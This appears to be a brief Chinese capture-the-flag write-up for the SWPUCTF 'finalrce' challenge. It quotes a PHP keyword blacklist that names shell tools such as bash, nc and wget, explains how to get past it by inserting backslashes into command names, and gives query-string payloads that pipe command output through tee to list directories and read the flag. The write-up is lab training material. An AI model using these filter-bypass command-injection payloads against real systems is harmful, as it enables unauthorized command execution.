【SWPUCTF 2021 新生赛】finalrce
Contents
[SWPUCTF 2022 新生赛]1z_unserialize
思路
- 主要问题:
-
过滤很多关键字,但是反斜杠未被过滤,使用转义符进行绕过
1
preg_match('/bash|nc|wget|ping|ls|cat|more|less|phpinfo|base64|echo|php|python|mv|cp|la|\-|\*|\"|\>|\<|\%|\$/i',$url)
-
使用exec($url);执行命令,不能直接回显,需要管道符+tee重定向写入文件进行回显查看
-
EXP
?url=ls /|tee 1.txt # 得到目录
?url=ca\t /flllll\aaaaaaggggggg|tee 2.txt; # 得到flag
总结
- 考察无回显RCE
- WAF绕过